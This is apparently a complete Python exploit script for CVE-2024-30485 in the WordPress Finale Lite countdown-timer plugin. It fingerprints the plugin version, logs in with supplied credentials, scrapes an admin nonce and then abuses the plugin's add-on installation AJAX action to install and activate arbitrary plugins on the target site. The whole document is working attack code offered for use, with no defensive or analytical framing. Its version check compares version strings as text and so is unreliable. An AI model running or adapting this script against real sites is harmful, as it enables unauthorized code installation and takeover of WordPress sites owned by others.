import requests import re import argparse from bs4 import BeautifulSoup # by : Khaled AlEnazi | Nxploit def check_vulnerability(url): version_url = f"{url}/wp-content/plugins/finale-woocommerce-sales-countdown-timer-discount/readme.txt" response = requests.get(version_url, headers={"User-Agent": "Mozilla/5.0"}, verify=False) if response.status_code == 200: match = re.search(r"Stable tag: ([0-9\.]+)", response.text) if match: version = match.group(1) if version <= "2.18.0": print(f"[+] Target is vulnerable! Detected version: {version}") return True print("[-] Target is not vulnerable or version check failed.") return False def login(url, username, password, session): login_url = f"{url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'rememberme': 'forever', 'wp-submit': 'Log In' } response = session.post(login_url, data=login_data, headers={"User-Agent": "Mozilla/5.0"}, verify=False) if any('wordpress_logged_in' in cookie.name for cookie in session.cookies): print("[+] Logged in successfully.") return True print("[-] Failed to log in.") return False def get_nonce(url, session): settings_url = f"{url}/wp-admin/admin.php?page=xl-payments" response = session.get(settings_url, headers={"User-Agent": "Mozilla/5.0"}, verify=False) match = re.search(r'"nonce":"([a-f0-9]+)"', response.text) if match: print(f"[+] Extracted Nonce: {match.group(1)}") return match.group(1) print("[-] Failed to extract Nonce.") return None def install_plugin(url, session, nonce, plugin_slug, plugin_file): installed_plugins_url = f"{url}/wp-admin/plugins.php" response = session.get(installed_plugins_url, headers={"User-Agent": "Mozilla/5.0"}, verify=False) if plugin_slug in response.text: print(f"[+] Plugin '{plugin_slug}' is already installed. Skipping installation.") else: install_url = f"{url}/wp-admin/admin-ajax.php" install_data = { "action": "xl_addon_installation", "xl_slug": plugin_slug, "xl_file": plugin_file, "nonce": nonce } response = session.post(install_url, data=install_data, headers={"User-Agent": "Mozilla/5.0"}, verify=False) if "Plugin installed successfully!" in response.text or "already installed" in response.text: print(f"[+] Plugin '{plugin_slug}' installed successfully!") else: print("[-] Failed to install plugin.") print("Server Response:", response.text) return False return True def activate_plugin(url, session, nonce, plugin_slug): activate_url = f"{url}/wp-admin/admin-ajax.php" activate_data = { "action": "activate-plugin", "plugin": f"{plugin_slug}/{plugin_slug}.php", "_wpnonce": nonce } response = session.post(activate_url, data=activate_data, headers={"User-Agent": "Mozilla/5.0"}, verify=False) if "Plugin activated" in response.text or "activated successfully" in response.text: print(f"[+] Plugin '{plugin_slug}' activated successfully!") else: print("[-] Failed to activate plugin.") print("Server Response:", response.text) if __name__ == "__main__": parser = argparse.ArgumentParser(description="Exploit CVE-2024-30485 - Finale Lite | by Khaled AlEnazi") parser.add_argument("-u", "--url", required=True, help="WordPress site URL") parser.add_argument("-U", "--username", required=True, help="WordPress username") parser.add_argument("-P", "--password", required=True, help="WordPress password") parser.add_argument("plugin", nargs="?", default="hello-dolly", help="Plugin slug") args = parser.parse_args() session = requests.Session() if not check_vulnerability(args.url): exit() if not login(args.url, args.username, args.password, session): exit() nonce = get_nonce(args.url, session) if not nonce: exit() plugins = { "hello-dolly": "/hello.php", "woocommerce-gateway-stripe": "/woocommerce-gateway-stripe.php", "akismet": "/akismet.php", "finale-woocommerce-sales-countdown-timer-discount": "/finale-woocommerce-sales-countdown-timer-discount-plugin-lite.php" } plugin_slug = args.plugin plugin_file = plugins.get(plugin_slug, f"/{plugin_slug}.php") if install_plugin(args.url, session, nonce, plugin_slug, plugin_file): activate_plugin(args.url, session, nonce, plugin_slug)